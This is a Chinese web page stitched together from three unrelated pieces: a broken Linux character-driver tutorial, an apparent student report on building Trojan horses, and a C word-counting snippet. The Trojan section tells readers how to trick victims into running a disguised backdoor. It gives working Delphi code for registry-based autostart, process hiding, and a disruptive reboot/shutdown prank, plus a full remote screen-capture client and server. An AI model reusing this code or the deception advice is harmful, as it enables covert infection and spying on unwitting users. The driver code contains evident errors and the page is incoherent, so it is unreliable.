1.1 函数scull_open()
int scull_open(struct inode *inode,struct file *filp) {
MOD_INC_USE_COUNT; // 增加该模块的用户数目
printk(“This chrdev is in open\n”);
return 0;
}
1.2 函数scull_write()
int scull_write(struct inode *inode,struct file *filp,const char *buffer,int count) {
if(count <0)
return –EINVAL;
if(scull.usage || scull.new_msg)
return –EBUSY;
scull.usage = 1;
kfree(scull.data);
data = kmalloc(sizeof(char)*(count+1),GFP_KERNEL);
if(!scull.data) {
return –ENOMEM;
}
copy_from_user(scull.data,buffer,count + 1);
scull.usage = 0;
scull.new_msg = 1;
return count;
}
1.3 函数scull_read()
int scull_read(struct inode *inode,struct file *filp,char *buffer,int count) {
int length;
if(count <0)
return –EINVAL;
if(scull.usage)
return –EBUSY;
scull.usage = 1;
if(scull.data == 0)
return 0;
length = strlen(scull.data);
if(length <count)
count = length;
copy_to_user(buf,scull.data,count + 1);
scull.new_msg = 0;
scull.usage = 0;
return count;
}
1.4 函数scull_ioctl()
#include <linux/ioctl.h>
#define SCULL_MAJOR 0
#define SCULL_MAGIC SCULL_MAJOR
#define SCULL_RESET _IO(SCULL_MAGIC,0) // reset the data
#define SCULL_QUERY_NEW_MSG _IO(SCULL_MAGIC,1) // check for new message
#define SCULL_QUERY_MSG_LENGTH _IO(SCULL_MAGIC,2) //get message length
#define IOC_NEW_MSG 1
static int usage,new_msg; // control flags
static char *data;
int scull_ioctl(struct inode *inode,struct file *filp,unsigned long int cmd,unsigned long arg) {
int ret=0;
switch(cmd) {
case SCULL_RESET:
kfree(data);
data = NULL;
usage = 0;
new_msg = 0;
break;
case SCULL_QUERY_NEW_MSG:
if(new_msg)
return IOC_NEW_MSG;
break;
case SCULL_QUERY_MSG_LENGTH:
if(data == NULL){
return 0;
}
else {
return strlen(data);
}
break;
default:
return –ENOTTY;
}
return ret;
}
1.5 函数scull_release()
void scull_release(struct inode *inode,struct file *filp) {
MOD_DEC_USE_COUNT; // 该模块的用户数目减1
printk(“This chrdev is in release\n”);
return 0;
#ifdef DEBUG
printk(“scull_release(%p,%p)\n”,inode,filp);
#endif
}
1.6 测试函数
在该字符设备驱动程序编译加载后,再在/dev目录下创建字符设备文件chrdev,使用命令: #mknod /dev/chrdev c major minor ,其中“c”表示chrdev是字符设备,“major”是chrdev的主设备号。(该字符设备驱动程序编译加载后,可在/proc/devices文件中获得主设备号,或者使用命令: #cat /proc/devices | awk ”\\$2==”chrdev\”{ print\\$1}” 获得主设备号)
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include “chardev.h”// 见后面定义
void write_proc(void);
void read_proc(void);
main(int argc,char **argv) {
if(argc == 1) {
puts(“syntax: testprog[write|read]\n”);
exit(0);
}
if(!strcmp(argv[1],“write”)) {
write_porc();
}
else if(!strcmp(argv[1],“read”)) {
read_proc();
}
else {
puts(“testprog: invalid command!\n”);
}
return 0;
}
void write_proc() {
int fd,len,quit = 0;
char buf[100];
fd = open(“/dev/chrdev”,O_WRONLY);
if(fd <= 0) {
printf(“Error opening device for writing!\n”);
exit(1);
}
while(!quit) {
printf(“\n Please write into:”);
gets(buf);
if(!strcmp(buf,“exit”))
quit = 1;
while(ioctl(fd,DYNCHAR_QUERY_NEW_MSG))
usleep(100);
len = write(fd,buf,strlen(buf));
if(len <0) {
printf(“Error writing to device!\n”);
close(fd);
exit(1);
}
printf(“\n There are %d bytes written to device!\n”,len);
}
close(fd);
}
void read_proc() {
int fd,len,quit = 0;
char *buf = NULL;
fd=open(“/dev/chrdev”,O_RDONLY);
if(fd <0) {
printf(“Error opening device for reading!\n”);
exit(1);
}
while(!quit) {
printf(“\n Please read out:”);
while(!ioctl(fd,DYNCHAR_QUERY_NEW_MSG))
usleep(100);
// get the msg length
len = ioctl(fd,DYNCHAR_QUERY_MSG_LENGTH,NULL);
if(len) {
if(buf != NULL)
free(buf);
buf = malloc(sizeof(char)*(len+1));
len = read(fd,buf,len);
if(len <0) {
printf(“Error reading from device!\n”);
}
else {
if(!strcmp(buf,“exit”) {
ioctl(fd,DYNCHAR_RESET); // reset
quit = 1;
}
else
printf(“%s\n”,buf);
}
}
}
free(buf);
close(fd);
}
// 以下为chrdev.h定义
#ifndef _DYNCHAR_DEVICE_H
#define _DYNCHAR_DEVICE_H
#include <linux/ioctl.h>
#define DYNCHAR_MAJOR 42
#define DYNCHAR_MAGIC DYNCHAR_MAJOR
#define DYNCHAR_RESET _IO(DYNCHAR_MAGIC,0) // reset the data
#define DYNCHAR_QUERY_NEW_MSG _IO(DYNCHAR_MAGIC,1) // check for new message
#define DYNCHAR_QUERY_MSG_LENGTH _IO(DYNCHAR_MAGIC,2) // get message length
#define IOC_NEW_MSG 1
#endif
电脑网络中的“后门”即是网络的漏洞一、问题的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是著名匿名服务器站点Anonymizer上曾有过的一段话。是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。真正的黑客大多是赋有正义感的。他们不会恶意侵入他人系统,并且破坏系统程序和数据。但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。
现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。在这里向各位老师汇报一下。程序设计的语言用的是PASCAL,用DELPHI 4进行编译。
二、"特洛伊木马"如何入侵系统
一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。然后我们使用Client程序就可以控制该电脑了。当然,后门程序如果不运行也就无法发挥作用。因此,就要"诱骗"别人使用后门程序。如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。总之,要利用一切手段使人家运行后门程序。
木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。修改方法一般是通过修改注册表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:
unit Unit1
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry
type
TForm1 = class(TForm)
Button1: TButton
Button2: TButton
procedure Button1Click(Sender: TObject)
procedure Button2Click(Sender: TObject)
private
{ Private declarations }
public
{ Public declarations }
end
var
Form1: TForm1
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject)
var
regf:tregistry
sysdir:pchar
temp:string
begin
getmem(sysdir,256)
getsystemdirectory(sysdir,128)
temp:=sysdir+'\client.exe'
freemem(sysdir,256)
regf:=tregistry.create
regf.rootkey:=hkey_local_machine
regf.openkey('software\microsoft\windows\currentversion\run',true)
regf.writestring(' ',temp)
regf.free
copyfile(pchar('hacker.exe'),pchar(temp),true)
end
procedure TForm1.Button2Click(Sender: TObject)
begin
close
end
end.
也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。我还没有搞清楚这是怎样办到的。
在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end
为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应用程序重要数据,按下Ctrl+Alt+Del后,对于一个应用程序,若没有可显示的ENABLE窗口的名字,则系统要检查上面程序段中的特定双字是不是10800000h,如果是就不显示这个应用程序的可执行文件的名字。
下面是一个恶作剧的程序,入侵计算机后,每次开机后,随机出现鼠标乱跑并发出怪叫、热启动、强行关机的现象,让你无法进入WINDOWS 9X。对于一般的计算机用户来说,因为找不出这个程序在何处,所以只能格式化系统区,重新安装系统。
program hacker
uses
windows
var temp:integer
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end
randomize
temp:=random(3)
if temp=0 then
while(true) do
begin
messagebeep(0)
SetCursorPos (random(640),random(480))
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0)
end.
有的木马为了防止发现后被清除,在启动时会产生一个备份,一般是感染WINDOWS的系统文件,当木马被发现并清除后,备份会自动激活,使你依然处于远程黑手的控制。比如当前国最盛行的"冰河",首先会修改注册表的启动项目,将自己复制两份到系统中,分别为KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打开方式,一旦KERNEL32.EXE被删除,那么当打开一个TXT文件时,SYSEXPLE.EXE将再产生一个KERNEL32.EXE文件。
另外,有的木马还能在运行后修改文件名,或者复制感染系统后,进行自我销毁,使用户很难进行查找。
三、木马的种类
1、破坏型
惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
2、密码发送型
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录 *** 作者的键盘 *** 作,从中寻找有用的密码。
在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
3、远程访问型
最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的 *** 作。
程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。
受控机程序部分:
让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的ONDATARECEIVED事件;REMOTEPORT属性设为2222,当控件CUDP发送数据时,将数据发送到主控机的2222口。
unit Unit1
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls
type
Tclient = class(TForm)
cudp: TNMUDP
Animate1: TAnimate
procedure FormCreate(Sender: TObject)
procedure FormDestroy(Sender: TObject)
procedure cudpDataReceived(Sender: TComponentNumberBytes: Integer
FromIP: String)
private
{ Private declarations }
public
{ Public declarations }
end
var
client: Tclient
implementation
const bufsize=2048//发送每一批数据的缓冲区大小
var
bmpstream:tmemorystream
leftsize:longint
{$R *.DFM}
procedure screencap(leftpos,toppos,rightpos,bottompos:integer)
var
recwidth,recheight:integer
sourcedc,destdc,bhandle:integer
bitmap:Tbitmap
begin
recwidth:=rightpos-leftpos
recheight:=bottompos-toppos
sourcedc:=createdc('display','','',nil)
destdc:=createcompatibledc(sourcedc)
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight)
selectobject(destdc,bhandle)
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,srccopy)
bitmap:=tbitmap.Create
bitmap.Handle:=bhandle
bitmap.SaveToStream(bmpstream)
bmpstream.Position:=0
leftsize:=bmpstream.Size
bitmap.Free
deletedc(destdc)
releasedc(bhandle,sourcedc)
end
procedure Tclient.FormCreate(Sender: TObject)
begin
bmpstream:=tmemorystream.create
end
procedure Tclient.FormDestroy(Sender: TObject)
begin
bmpstream.free
end
procedure Tclient.cudpDataReceived(Sender: TComponent
NumberBytes: IntegerFromIP: String)
var
ctrlcode:array[0..29] of char
buf:array[0..bufsize-1] of char
tmpstr:string
sendsize,leftpos,toppos,rightpos,bottompos:integer
begin
cudp.ReadBuffer(ctrlcode,numberbytes)//读取控制码
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制码前4位为"SHOW"表示主控机发出了截屏指令
if bmpstream.Size=0 then//没有数据可发,必须截屏生成数据
begin tmpstr:=strpas(ctrlcode)
tmpstr:=copy(tmpstr,5,length(tmpstr)-4)
leftpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1))
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr))
toppos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1))
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr))
rightpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1))
bottompos:=strtoint(copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)))
screencap(leftpos,toppos,rightpos,bottompos)//调用截屏函数
end
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize
bmpstream.ReadBuffer(buf,sendsize)
leftsize:=leftsize-sendsize
if leftsize=0 then bmpstream.Clear
cudp.RemoteHost:=fromip//FROMIP为主控机IP地址
cudp.SendBuffer(buf,sendsize)//将数据发到主控机的2222端口
end
end
end.
主控机程序部分:
让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发SUDP的ONDATARECEIVED事件;REMOTEPORT属性设为1111,当控件SUDP发送数据时,将数据发到受控机的1111口。
unit Unit1
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP
type
Tsever = class(TForm)
Edit1: TEdit
Edit2: TEdit
Label1: TLabel
Label2: TLabel
BitBtn1: TBitBtn
Image1: TImage
BitBtn2: TBitBtn
sudp: TNMUDP
procedure BitBtn2Click(Sender: TObject)
procedure FormCreate(Sender: TObject)
procedure FormDestroy(Sender: TObject)
procedure BitBtn1Click(Sender: TObject)
procedure sudpDataReceived(Sender: TComponentNumberBytes: Integer
FromIP: String)
private
{ Private declarations }
public
{ Public declarations }
end
var
sever: Tsever
implementation
const bufsize=2048
var
rsltstream,tmpstream:tmemorystream
{$R *.DFM}
procedure Tsever.BitBtn2Click(Sender: TObject)
begin
close
end
procedure Tsever.FormCreate(Sender: TObject)
begin
rsltstream:=tmemorystream.create
tmpstream:=tmemorystream.create
end
procedure Tsever.FormDestroy(Sender: TObject)
begin
rsltstream.free
tmpstream.free
end
procedure Tsever.BitBtn1Click(Sender: TObject)
var
reqcode:array[0..29] of char
reqcodestr:string
begin
reqcodestr:='show'+edit1.text
strpcopy(reqcode,reqcodestr)
tmpstream.Clear
rsltstream.Clear
sudp.RemoteHost:=edit2.Text
sudp.SendBuffer(reqcode,30)
end
procedure Tsever.sudpDataReceived(Sender: TComponentNumberBytes: Integer
FromIP: String)
var reqcode:array[0..29] of char
reqcodestr:string
begin
reqcodestr:='show'+edit1.text
strpcopy(reqcode,reqcodestr)
sudp.ReadStream(tmpstream)
rsltstream.CopyFrom(tmpstream,numberbytes)
if numberbytes<bufsize then
begin
rsltstream.Position:=0
image1.Picture.Bitmap.LoadFromStream(rsltstream)
tmpstream.Clear
rsltstream.Clear
end
else
begin
tmpstream.Clear
reqcode:='show'
sudp.RemoteHost:=edit2.Text
sudp.SendBuffer(reqcode,30)
end
end
end.
四、如何预防黑客
黑客程序虽然破坏大,但不是不能防止的。
1、处理好你的密码
我们一般是用账号和密码来上网的,密码的设置无疑是十分讲求技巧的,许多人的安全防范意识差,不注意密码的设置,造成自己的账号被盗用。如今的黑客软件都是挂上密码字典,然后用穷举法进行破解,密码太简单,那么破解的可能性就大了。以下是一些注意事项。
⑴ 密码不可和账号相同,这是最容易被猜到的了。
⑵ 经常更改密码,拿到新账号后要立即更改密码,不要放久了。
⑶ 密码最好多于8个字符,字符越长,破解难度越大。例如WORD文档的密码大于8位后,目前的破解软件几乎无法攻破。另外,最好在密码中加入一些控制键,增加破译难度。千万不可用单一的字母或数字。
⑷ 有人喜欢用自己的生日、电话、身份z号码等作为密码,你不要这样做。
⑸ 密码尽量不要记显眼的纸张上,更不能保存在计算机中,不要贪图一时方便,用WINDOWS提供的保存密码功能。
2、不要运行不明真相的程序
无论都高明的黑客程序,只要你不去运行它,就无法害到你。所以,不可相信网友的话,不要去运行他提供的程序;不要随意去打开别人寄来的附件,无论他把附件中的图片或影片吹得如何好看;要到大的、著名的网站去下载软件,千万不要到不明真象的个人网页下载,因为在那儿你可能下载的病毒和黑客之手;如果你十分羡慕黑客,也请你不要下载所谓的黑客软件,否则你没害到别人,自己反被害了;如果你的机器上有防火墙,在上网时一定要打开,不要怕麻烦。
3、经常检查系统信息
上网过程中,突然觉得计算机工作不对劲时,仿佛感觉有人在遥远的地方遥控你。这时,你必须及时停止手中工作,运行"附件→系统工具→系统信息",在任务列表中寻找自己不熟悉的或者自己并没有运行的程序,一旦找到程序后应立即终止它的运行,以防后患。
4、最好不去聊天室
我一直认为聊天室没有什么意思,特别对于计算机专业人员,聊天只是浪费时间和金钱,有些恶意的破坏者利用网上聊天室的漏洞干坏事,例如聊天室支持JAVA、HTML等功能,然而,这小小的JAVA也隐藏"杀机",他可以发给你一个足以让你的机器当机的HTML语句。因为这些语句是不会在聊天室显示出来的,所以你被暗算了可能还不知道。防治的办法是在你的浏览器中关闭你的JAVA脚本。想聊天的,在公共机房聊聊算了,不能在自己的机器上聊天。
1、统计英文文本中单词个数。
if((a[i]>='a'&&a[i]<='z')||(a[i]>='A'&&a[i]<='Z')) sum++
2、统计某一特定单词出现的频度。
for(i=0i!='/0'i++)
{
if(a[i]=='特定单词')
sum++
}
扩展资料:
if语句的一般形式如下:
if(表达式)语句1
[else语句2]
if语句中的“表达式”可以是关系表达式、逻辑表达式,甚至是数值表达式。其中最直观、最容易理解的是关系表达式。所谓关系表达式就是两个数值进行比较的式子。
for循环小括号里第一个“”号前为一个为不参与循环的单次表达式,其可作为某一变量的初始化赋值语句, 用来给循环控制变量赋初值。
参考资料来源:百度百科-for循环
参考资料来源:百度百科-if语句
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)